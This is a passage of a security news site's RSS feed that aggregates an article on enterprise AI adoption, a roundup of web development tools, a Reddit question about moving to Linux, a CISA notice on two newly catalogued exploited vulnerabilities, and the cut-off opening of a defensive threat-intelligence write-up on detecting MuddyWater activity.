<p>For CIOs thinking about where to start, I’d say that document-heavy workflows are almost always the right entry point. Term sheet parsing, compliance matrix generation, report summarization. They’re well-defined, they happen constantly and the ROI is easy to measure. Build for auditability from the beginning: Every run must be logged, every output must be cited and human-in-the-loop should almost always be involved. Lastly, I think we’ll see fewer chatbots and more trigger-configured agents in 2026, as the highest-value financial AI in production today runs on event-based logic, not on-demand queries.</p>



<h2 class="wp-block-heading">Industrials: Where traditional automation always broke down</h2>



<p>Industrial companies — spanning construction, manufacturing, logistics/shipping, engineering and more — have historically been underserved by enterprise software, which is a structural issue. The workflows span physical and digital worlds in ways that make them challenging to automate through conventional means: Tenders arrive as PDFs in someone’s inbox; quality inspections happen on a factory floor; freight analysis requires pulling data from a dozen carrier systems that don’t talk to each other, and often, from people who <em>literally</em> speak different languages.</p>



<p>But everything has changed. According to a <a href="https://manufacturingleadershipcouncil.com/survey-genai-adoption-surges-as-manufacturers-continue-to-grapple-with-data-skills-issues-39942/?stream=ml-journal" rel="nofollow">2026 survey by the Manufacturing Leadership Council</a>, 90% of manufacturers surveyed say they will increase generative AI usage in the next two years.</p>



<p>I had a conversation last year with the CIO of a major national distribution company, where he told me that they’d automated their freight analysis reports entirely, going from a chatbot-style prototype to a fully templated, automated report that runs on a schedule and lands in the right inboxes.</p>



<p>Another global consumer goods manufacturer I worked with now processes quality inspection sheets from production lines through AI, automatically flagging anomalies before they become problems.</p>



<p>And one of the largest civil engineering firms in the U.S. now uses AI to do quality control on bridge inspection reports, check engineering calculations and navigate RFP documents, significantly reducing the review burden on senior engineers who were previously spending time on work that simply didn’t require their expertise.</p>



<p>The thing I’ve heard CIOs in the industrial sector tell me is that the skilled worker shortage is real and getting worse. They have experienced people who are spending a significant portion of their time on tasks that could be automated. Giving those hours back to them is the value proposition.</p>



<p>In 2026, AI excels precisely where RPA and EDI always broke down: unstructured inputs, variable formatting, anomalous edge cases. So, the practical advice here is to target the gap between documents and systems: That’s the place where a human is manually transcribing data from one format into another. Start with one high-volume vendor or one product line, design the workflow and track the ROI.</p>



<h2 class="wp-block-heading">Healthcare: The burnout crisis that AI is starting to solve</h2>



<p>Healthcare has been the most cautious sector for extremely legitimate reasons. PHI/PII, HIPAA, GDPR, the complexity of clinical workflows…the bar is higher here, as it should be. But already this year I’ve watched healthcare move from cautious experimentation into production deployment, and the driver is the combination of enterprise-grade security controls and a clinician burnout crisis that has become impossible to ignore. <a href="https://www.mckinsey.com/industries/healthcare/our-insights/generative-ai-in-healthcare-current-trends-and-future-outlook" rel="nofollow">According to McKinsey,</a> half of healthcare leaders report that their organizations have already implemented generative AI.</p>



<p>The use case I keep coming back to is clinical note generation. I’ve seen multiple healthcare organizations (virtual care platforms, primary care networks and more) deploy AI that listens to patient encounters and produces structured SOAP notes. One organization has been continuously improving this workflow and is now on their fifth or sixth version of the workflow. But they started seeing the impact from day one: The documentation burden on physicians is real, and can consume one to two hours per day, time that should be with patients. Reducing that by 60 to 70 percent is life changing.</p>



<p>Beyond documentation, I’m seeing AI handle patient intake and onboarding through conversational workflows that gather history, insurance information and chief complaint before the visit, integrating with EHRs to ensure continuity. Remote patient monitoring programs are using AI to triage incoming data and automatically escalate concerning readings to clinical staff, allowing home health programs to scale without proportional increases in headcount. Finally, on the administrative side, AI is now doing clinical billing compliance review: Checking documentation against billing codes before claims are submitted, reducing denial rates and audit risk.</p>



<p>My advice to healthcare CIOs is, after identifying a platform with HIPAA compliance and rigorous governance, to start with use cases in billing compliance, prior authorization and patient communication. Build organizational confidence there before moving into the clinical workflow layer while measuring clinician time saved as your primary ROI metric. Cost reduction matters, but hours returned to patient care is the number that will get you continued investment and internal support.</p>



<h2 class="wp-block-heading">The high-level patterns</h2>



<p>The industries I’ve identified in this article are ripe for AI transformation. When we step back from the specific use cases, the same conditions show up across all three sectors. Firstly, there are massive volumes of unstructured data that traditional automation has never been able to touch. Secondly, there is high-value human expertise being consumed by low-value data processing and shuffling. Lastly, the underlying tool infrastructure is mature enough to support an intelligent layer on top.</p>



<p>CIOs in these industries should aim to identify high-impact workflows, deploy AI that integrates deeply with those processes and be prepared to iterate. The result will be millions in operational savings.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.csoonline.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[8 cutting-edge web development tools you don’t want to miss]]></title>
<description><![CDATA[There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of l...]]></description>
<link>https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583920/ai-nachrichten/8-cutting-edge-web-development-tools-you-dont-want-to-miss/</guid>
<pubDate>Tue, 09 Jun 2026 11:03:29 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>There is no ordained path. The hope that we were converging on some kind of consensus in web development has been eradicated by recent, ingenious developments that point in almost every direction. Yet, if there is a central theme uniting these efforts, it is the desire to mitigate the layers of liturgical embellishment that have grown up around the reactive canon. How can we look at things differently to attain the power that we need, without the heavy intricacy?</p>



<p>Here are eight cutting-edge web development tools that point the way. </p>



<h2 class="wp-block-heading">Front-end maestro</h2>



<p>If you put a bunch of classical musicians in a room together with sheet music and let them run, you <em>might </em>get to a cohesive piece—but you <em>probably </em>want a conductor, a maestro who coordinates all of the parts. That is <a href="https://www.infoworld.com/article/3842325/designing-a-dynamic-web-application-with-astro-js.html">Astro</a> for your front-end frameworks.</p>



<p>Astro addresses the “<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" data-type="link" data-id="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html">hydration</a>” of the front end, that is to say, the process of making the shell reactive. In conventional server-side rendering (SSR), like Next.js or Nuxt, the server not only sends the HTML, but also sends the massive framework runtime down the wire, just to attach event listeners to the page. Astro allows you to write components in React, Svelte, Vue, or Solid, and its compiler strips away all of the JavaScript before it reaches the browser. Astro ships zero JS by default, relying on its <a href="https://docs.astro.build/en/concepts/islands/" data-type="link" data-id="https://docs.astro.build/en/concepts/islands/">islands architecture</a> to hydrate only the specific components that demand interactivity. </p>



<p>Because Astro isolates interactivity into distinct islands, sharing complex state between those islands (e.g., a complex filtering sidebar communicating with a separate dynamic data grid) is fundamentally harder than it is in a monolithic single-page application. If you are building a highly interactive, dashboard-heavy app where every component affects every other component, Astro’s isolated islands might begin to feel more like a straitjacket than a liberation.</p>



<p>See also: <a href="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html" data-type="link" data-id="https://www.infoworld.com/article/2337044/intro-to-qwik-a-superfast-javascript-framework.html">Qwik</a>. If Astro unbloats by stripping away the JavaScript entirely, Qwik unbloats by delaying it. Qwik delivers instant HTML and serializes the application state, downloading and executing only the JavaScript code required for a specific interaction at the exact millisecond the user clicks a button.</p>



<h2 class="wp-block-heading">Biome: Lint like it’s 2026</h2>



<p><a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html" data-type="link" data-id="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> is gradually replacing the underlying infrastructure in the JavaScript ecosystem. But while Rust gives <a href="https://biomejs.dev/">Biome</a> its close-to-the-metal speed, Biome’s true calling card is its unification of the sprawling toolchain under a cohesive umbrella.</p>



<p>The .eslintrc and .prettierrc files and the dozen associated plugins can become a dark and unhappy bog in a project. Biome is the way out of the mire. It is a single, blazingly fast binary that replaces your entire tangled formatting and linting ecosystem, providing a path to code quality that doesn’t require a sprawling web of dependencies.</p>



<p>Probably the biggest drawback to Biome is that you lose the wide-open extensibility—which is exactly the same feature that makes Biome lean.</p>



<p>See also: <a href="https://rspack.rs/">Rspack</a>. Biome cleans up the linting. Rspack unbloats the build step. Also built on Rust for speed, Rspack challenges the new “unbundled” esbuild-based dev mode championed by Vite and uses bundled dev mode.</p>



<h2 class="wp-block-heading">Bun: Fast and integrated back-end JavaScript</h2>



<p>Most cutting-edge JavaScript enthusiasts are already well-aware of <a href="https://www.infoworld.com/article/2338008/explore-bunjs-the-all-in-one-javascript-runtime.html">Bun</a>. For those who haven’t yet experienced Bun’s enthralling blend of one-stop shopping and blistering speed first-hand, it’s a virtually irrefutable must-try.</p>



<p>Fast is probably an understatement. If you are used to <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> and you try out Bun, you will likely be immediately impressed with the speed at which commands execute. The Bun team has also made an extensive, multi-year effort to bring its engine into close compatibility with Node’s APIs. Overall, Bun is an extraordinary engineering effort that every JS developer should explore. </p>



<p>However, while Bun’s <a href="https://www.infoworld.com/article/2338081/meet-the-zig-programming-language.html">Zig</a>-based engine is in most respects a drop-in for Node, it isn’t perfect, especially when considering the gargantuan landscape of Node packages out there. Node remains the conservative, happy-path engine for server-side JavaScript. </p>



<p>See also: <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html" data-type="link" data-id="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Although Bun has justifiably earned a reputation for bleeding-edge innovation, Deno has quietly pressed ahead with an appealing set of enterprise features like an integrated deployment platform and a front-end framework (<a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html">Deno Fresh</a>).</p>



<p>The Bun curious also may want to check out my interview with Bun creator <a href="https://www.infoworld.com/article/2338698/interview-with-jarred-sumner-buns-creator-talks-tech-funding-and-startups.html">Jared Sumner</a>.</p>



<h2 class="wp-block-heading">HTMX: Ajax KISS</h2>



<p>If we are talking about clever ways to de-complexify the web, <a href="https://www.infoworld.com/article/4150864/htmx-4-0-hypermedia-finds-a-new-gear.html">HTMX</a> could reasonably be considered the poster-child. It takes the core mechanisms of the modern web client, like <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" data-type="link" data-id="https://developer.mozilla.org/en-US/docs/Glossary/AJAX">Ajax</a> and partial updates, and turns them into simple HTML attributes. That means the state lives exclusively on the server, which is responsible for sending HTMX fragments.</p>



<p>Of course, there are trade-offs. Perhaps most unavoidable is the extreme dependence on the network. Because there is no client-side state machine, the browser will be orphaned and helpless without a connection to the server. That is, unless you <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" data-type="link" data-id="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">get experimental</a> with a <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">local-first datastore</a>.</p>



<p>Long story short: if your app falls into the realm of HTMX’s ability, HTMX is likely to be the most direct <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful</a> way to build it. And HTMX can in fact handle quite a lot.</p>



<p>See also: <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" data-type="link" data-id="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html">Hotwire</a>. A collection of tools for building single-page-style applications using HTML over the wire, Hotwire has great features like page morphing, which can diff HTML instead of cold-loading it, with a simple import. True to classic “free as in speech” software culture, the HTMX and Hotwire projects freely exchange ideas. </p>



<h2 class="wp-block-heading">PowerSync: Data layer redo</h2>



<p>Although the local-first data revolution that <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html">PowerSync</a> represents implies a fairly serious engineering deep dive, its core proposal — to entirely reshape the way data moves in web architecture — is something a web developer needs to be aware of.</p>



<p>Usually, we create architectures that require a complex middleware to broker between a reactive client and the datastore. PowerSync proposes a radical alternative: bypass the middleman entirely by dropping a robust SQLite Wasm database directly into the browser.</p>



<p>The UI works on local data using <a href="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html" data-type="link" data-id="https://www.infoworld.com/article/4140734/the-revenge-of-sql-how-a-50-year-old-language-reinvents-itself.html">familiar SQL</a>, synchronously. Latency is zero. The dreaded loading spinner vanishes entirely. In the background, PowerSync automatically reconciles your local store with your central Postgres database. It handles the complex syncing algorithms and network drops, effectively making your application offline-first by default.</p>



<p>The catch, of course, is that local-first development forces a massive mental shift. You have to define data slices (similar to a view) that each client user holds. The PowerSync engine does most of the hard work, but things like schema migrations and conflict resolution (when two users edit the same record while offline) require a significantly steeper initial setup than a standard REST API.</p>



<p>See also: <a href="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html" data-type="link" data-id="https://www.infoworld.com/article/4133648/the-browser-is-your-database-local-first-comes-of-age.html">RxDB</a>. RxDB is a slightly different flavor of local-first datastore. Whereas PowerSync relies heavily on Postgres, SQLite, and background daemons, RxDB provides a NoSQL, offline-first, reactive database that treats queries as observable streams, pushing UI updates the exact millisecond the local data changes. </p>



<h2 class="wp-block-heading">RooCode: Use any AI you want</h2>



<p>The beauty of <a href="https://www.infoworld.com/article/4019646/roo-code-review-a-first-look-at-autonomous-ai-powered-development-in-the-ide.html">RooCode</a> lies in its ability to orchestrate whatever AI providers you have—for free. RooCode is an extension to <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> that provides an AI manager layer. This layer bridges between the general abilities of the LLM and your code-specific, project-level structures.</p>



<p>RooCode is strong enough to be somewhat agentic in its capabilities. It doesn’t reach the powerhouse abilities of something like Cursor or Antigravity, but it is quite able to handle most small to medium-sized requests. And it does so with a minimum of unnecessary overhead. I find myself often using RooCode alongside my AI-assisted IDE to knock out lesser requirements, for less cost and without interrupting the flow of ongoing epics.</p>



<p>RooCode keeps you free of proprietary ecosystems. It allows you to plug in your own API keys—whether that is Claude, OpenAI, or even a local model running on your own hardware. </p>



<p>The hidden tax of any AI coding assistant, however, is that it fundamentally shifts your job description from “writer” to “editor.” The unbloating of keystrokes can paradoxically lead to massively bloated codebases if developers blindly accept AI-generated boilerplate without actively reviewing its architectural impact. It is incredibly easy to let an agent spin up 500 lines of complex React when 50 lines of plain JavaScript would have done.</p>



<p>See also: <a href="https://antigravity.google/" data-type="link" data-id="https://antigravity.google/">Antigravity</a>. RooCode is a lightweight extension that supercharges your existing environment. Google’s Antigravity is a custom-built editor designed from the ground up around AI, geared for agentic development workflows.</p>



<h2 class="wp-block-heading">TanStack Query: Syncing made simple(r)</h2>



<p>Even when client-side state management is addressed (see Zustand below), there is still a big, gaping hole in the plot: syncing across the server boundary. That is where <a href="https://tanstack.com/query/latest">TanStack Query</a> steps into the breach.</p>



<p>Distributed computing is a notoriously thorny problem, and in fact our standard reactive model walks right into these thorns by holding the same state in two different places: on the client and the server.  Tanstack Query tries to make this inherent architectural friction as painless as possible by acting as an intelligent asynchronous layer. </p>



<p>Instead of using a bunch of manual fetches tied to <code>useState</code> updates, along with fragile <code>isLoading</code> flags and complex state synchronization logic, TanStack Query abstracts the heavy lifting of API responses, background updates, and request deduplication into a few elegant hooks. You tell TanStack Query where to get the data, and it uses a pattern known as “stale-while-revalidate,” which means it will cache and reuse data on the front end (eliminating reload waits) and sync to the latest state in the background. </p>



<p>The catch, however, is that cache invalidation remains one of the hardest problems in computer science—and TanStack Query forces you to face it head-on. You will spend time thinking about “query keys” and deciding when a piece of data should be considered “stale.” No free lunches in software.</p>



<p>See also: <a href="https://swr.vercel.app/">SWR</a>. While TanStack Query is an absolute powerhouse for complex data manipulation, SWR remains a champion of API minimalism, doing exactly what its name implies (stale-while-revalidate) with almost zero configuration.</p>



<h2 class="wp-block-heading">Zustand: Minimalist state</h2>



<p>If you have yet to encounter the monstrosity of large-scale state management in a reactive app, then spoiler alert: it can be nasty. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction">Zustand</a> proposes to dispense with the ceremonial boilerplate of reducers, providers, and unwieldy context wrappers in favor of a tiny, brutally simple global store.</p>



<p>Instead of forcing your entire application tree into a massive React context provider (sometimes leading to cascades of superfluous re-renders across the DOM), Zustand uses custom hooks to tie state directly to the specific components that need it. Zustand strives to achieve the specificity in the VDOM reactive model (instead of eliminating it entirely a la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html">Signals</a>).</p>



<p>You define a store, you call it, and the reactivity just works. It is an expression of the KISS philosophy applied to front-end architecture, scraping away the intricacies of Flux-like patterns. The trade-off for this liberation is the burden of discipline. Because Zustand is unopinionated, it won’t stop you from turning your global store into a cluttered junk drawer. You’ll need to impose your own conventions and guardrails to keep a large-scale project manageable.</p>



<p>See also: <a href="https://jotai.org/" data-type="link" data-id="https://jotai.org/">Jotai</a>. If Zustand is the unbloated global store, Jotai is the unbloated atomic approach. Jotai manages state from the bottom up, calculating changes with surgical precision without triggering massive re-renders across the application tree.</p>



<h2 class="wp-block-heading">New directions in web development</h2>



<p>The most remarkable thing about these eight tools is that they deal in large part with alternative approaches that challenge the familiar. Although you may not be able to adopt them immediately, you will want to keep an eye on them. They are key factors that will continue to influence the shape of web applications and how we build them.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Thoughts on switching to Linux]]></title>
<description><![CDATA[Hello there folks! I am new on here and I would like y'all's opinion on something. I am currently using Windows 11 IoT Enterprise LTSC 2024 as my daily drive OS and I am quite okay with it. However I keep seeing videos about Linux, specifically heard great things about Nobara Linux. I did give it...]]></description>
<link>https://tsecurity.de/de/3583323/linux-tipps/thoughts-on-switching-to-linux/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3583323/linux-tipps/thoughts-on-switching-to-linux/</guid>
<pubDate>Tue, 09 Jun 2026 04:10:50 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello there folks! I am new on here and I would like y'all's opinion on something. I am currently using Windows 11 IoT Enterprise LTSC 2024 as my daily drive OS and I am quite okay with it. However I keep seeing videos about Linux, specifically heard great things about Nobara Linux. I did give it a try 3 months ago and I personally didn't see improvements in regards with FPS in games, but that is probably because I may have done something wrong in regards with choosing the Proton version. Still, I am very attracted to the thought of switching permanently to Linux. I am an average PC user. I play mainly Minecraft, CS2, The Witcher 3 and Red Dead Redemption 2. I don't play any games with kernel level anti-cheat nor use Adobe.. </p> <p>I would very much appreciate if y'all can provide me with some tips and tricks or any advice! </p> <p>Thank y'all! </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Ok_Difference_6838"> /u/Ok_Difference_6838 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1u0r62x/thoughts_on_switching_to_linux/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1u0r62x/thoughts_on_switching_to_linux/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Adds Two Known Exploited Vulnerabilities to Catalog]]></title>
<description><![CDATA[CISA has added two new vulnerabilities to its Known Exploited Vulnerabilities (KEV) Catalog, based on evidence of active exploitation.

CVE-2026-42271 BerriAI LiteLLM Command Injection Vulnerability
CVE-2026-50751 Check Point Security Gateway Improper Authentication Vulnerability

These types of ...]]></description>
<link>https://tsecurity.de/de/3582771/it-security-nachrichten/cisa-adds-two-known-exploited-vulnerabilities-to-catalog/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582771/it-security-nachrichten/cisa-adds-two-known-exploited-vulnerabilities-to-catalog/</guid>
<pubDate>Mon, 08 Jun 2026 22:07:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA has added two new vulnerabilities to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">Known Exploited Vulnerabilities (KEV) Catalog</a>, based on evidence of active exploitation.</p>
<ul>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-42271" target="_blank">CVE-2026-42271</a> BerriAI LiteLLM Command Injection Vulnerability</li>
<li><a href="https://www.cve.org/CVERecord?id=CVE-2026-50751" target="_blank">CVE-2026-50751</a> Check Point Security Gateway Improper Authentication Vulnerability</li>
</ul>
<p>These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise.</p>
<p><a href="https://www.cisa.gov/binding-operational-directive-22-01">Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities</a> established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the <a href="https://www.cisa.gov/sites/default/files/publications/reducing_the_significant_risk_of_known_exploited_vulnerabilities_211103.pdf">BOD 22-01 Fact Sheet</a> for more information.</p>
<p>Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">KEV Catalog vulnerabilities</a> as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the <a href="https://www.cisa.gov/known-exploited-vulnerabilities">specified criteria</a>. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Operation Desert Hydra — AI-Assisted CTI Pipeline: MuddyWater to Kibana]]></title>
<description><![CDATA[11 validated detections from public sources, OpenCTI graph, and a one-command labTable of ContentsMost threat actor writeups stop too early. They describe the group, list ATT&CK techniques, and paste some IoCs. Then the report sits in a folder while defenders wonder: what do I actually do with th...]]></description>
<link>https://tsecurity.de/de/3580441/hacking/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580441/hacking/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:19 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>11 validated detections from public sources, OpenCTI graph, and a one-command lab</em>Table of Contents</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_HvRb4_s15JQ6FkA9ng-8w.png"></figure><p>Most threat actor writeups stop too early. They describe the group, list ATT&amp;CK techniques, and paste some IoCs. Then the report sits in a folder while defenders wonder: <em>what do I actually do with this on Monday?</em></p><p>Operation Desert Hydra is an answer to that question.</p><p>This article documents a full CTI-to-detection pipeline focused on <strong>MuddyWater</strong> — an Iranian state-linked actor (MOIS) that has been targeting Israeli government, defense, and critical infrastructure organizations since at least 2019. By the end, you’ll have 11 detection records, 12 Kibana proof screenshots, and a working lab you can deploy with a single command.</p><p>Everything is on my GitHub: <a href="https://github.com/anpa1200/operation-desert-hydra">github.com/anpa1200/operation-desert-hydra</a></p><p><a href="https://github.com/anpa1200/operation-desert-hydra">GitHub - anpa1200/operation-desert-hydra: OpenCTI-based CTI-to-Detection Knowledge Graph for Iranian activity against Israeli organizations</a></p><ol><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#86dc"><strong>Why MuddyWater?</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#aadd"><strong>The Pipeline</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#c6f3"><strong>Phase 1: Source Gathering</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#205e"><strong>Phase 2: Procedure Dataset</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#fb48"><strong>Phase 3: OpenCTI Knowledge Graph</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#c2e1"><strong>Phase 4: Detection Atlas</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#8ce1"><strong>Phase 5: Validation Lab</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#0a42"><strong>Validation Results Summary</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#8cf4"><strong>Phase 6: Coverage Matrix</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#dfaa"><strong>What Defenders Should Do Right Now</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#b8cc"><strong>Reproduce It Yourself</strong></a></li><li><a href="https://infosecwriteups.com/operation-desert-hydra-ai-assisted-cti-pipeline-muddywater-to-kibana-34da7917acf0#dbb0"><strong>Production Scars</strong></a></li></ol><h3>Why MuddyWater?</h3><p>Three reasons:</p><ol><li><strong>Rich public reporting.</strong> CISA, Israel’s INCD, ClearSky, Deep Instinct, Mandiant, and Proofpoint have all published detailed technical analysis. This gives enough procedure-level specificity to engineer real detections.</li><li><strong>Consistent playbook.</strong> Across five years of reporting, the same pattern recurs: spearphishing → scripting engine → encoded PowerShell → RMM tool. The consistency makes it detectable.</li><li><strong>Relevant geography.</strong> The actor consistently targets Israeli organizations — a geography with high analytical value and underserved public detection coverage.</li></ol><h3>The Pipeline</h3><p>The project enforces a chain from source to Kibana screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NDsnhzE7S-lzy0fSIOZrsw.png"></figure><pre>source → claim → procedure → ATT&amp;CK mapping → telemetry requirement<br>  → detection pseudologic → benign simulation → lab result → coverage score</pre><p>No step is skipped. Every claim has a source. Every detection has a validation case. Every PASS has a screenshot.</p><h3>Phase 1: Source Gathering</h3><p>The first step is source discovery, not detection writing.</p><h4>Traditional Source Gathering — and Why It’s Not Enough Alone</h4><p>The standard workflow for CTI source gathering looks like this: run keyword searches (Google, Google Dorks, site: operators for known vendor blogs), check your Threat Intelligence Platform for existing reports on the actor, subscribe to vendor RSS feeds, pull ISAC/ISAO advisories, and query your organization’s TIP for any existing indicator sets or finished intelligence reports tagged to the actor.</p><p>For a mature, well-documented actor like MuddyWater this gets you to maybe 15–20 well-known sources quickly — the CISA advisory, the MITRE ATT&amp;CK page, two or three vendor blog posts you already knew about. The problem is coverage holes: you’ll reliably find sources that are already in your network’s vocabulary and miss the ones that aren’t. A CERT-IL PDF published in Hebrew and linked only from a government portal, a Group-IB campaign teardown behind a partial paywall, or a 2020 ClearSky report that predates your current TIP subscription window — all of these can fall out of a manual search pass.</p><p>TIPs compound this in a specific way: they surface what has already been ingested and tagged. If a source was never promoted into your TIP (because it was published before the subscription started, or because no analyst had time to import it), it is invisible inside the platform. The TIP is authoritative for what it knows, not for the universe of available sources.</p><h4>AI research</h4><p>The parallel AI research pass was not a replacement for traditional gathering — it was a coverage supplement. After both approaches ran, the traditional pass and the AI outputs were merged into the same deduplication step. The AI outputs added approximately 40 sources beyond what a manual search surfaced; traditional search added discipline about sources the models hallucinated (fabricated URLs, mis-attributed PDFs). Neither was sufficient alone.</p><p>I ran parallel deep-research passes using Gemini and OpenAI, both given the same prompt. Each returned a candidate source register. Both outputs were compared, deduplicated (71 candidates → 8 promoted), and the surviving sources were manually acquired and reviewed before anything entered the dataset.</p><h4>The Actual Prompt</h4><p>This is the exact prompt used — both models received it verbatim:</p><pre>You are a senior CTI researcher and source-validation analyst. For Operation Desert Hydra,<br>gather the best public sources on MuddyWater / Seedworm / Mango Sandstorm / TA450 and<br>related Iranian activity against Israeli organizations. Goal: create a source register for<br>an OpenCTI-based CTI-to-detection knowledge graph:<br>Source → Actor → Campaign → Procedure → ATT&amp;CK Technique → Observable → Log Source<br>→ Detection → Validation → Coverage.<br>Search MITRE ATT&amp;CK, CISA/FBI/NSA, Israel National Cyber Directorate, Microsoft,<br>Google/Mandiant, ESET, Check Point, ClearSky, Unit 42, Proofpoint, SentinelOne,<br>Recorded Future, Symantec, Talos, Trend Micro, Kaspersky, Cloudflare/Hunt.io/DomainTools,<br>GitHub, and academic sources.<br>Include secondary comparison actors only as comparison: APT34, APT35/Charming Kitten/Mint<br>Sandstorm, CyberAv3ngers, Agrius. Do not merge actors unless a source explicitly supports<br>overlap.<br>For every source, return this YAML structure:<br>  id, title, publisher, url, direct_download_url, download_type, publication_date,<br>  access_date, actor_claims, source_type, reliability, relevance flags for<br>  actor_profile/procedures/malware/infrastructure/detections/validation_lab/opencti_modeling,<br>  key_entities, key_attck_techniques, source_summary, use_for_project, limitations.<br>Provide direct PDF/STIX/JSON/CSV/GitHub raw links where available; if unavailable write<br>direct_download_url: none_found. Do not invent URLs or dates.<br>Use evidence 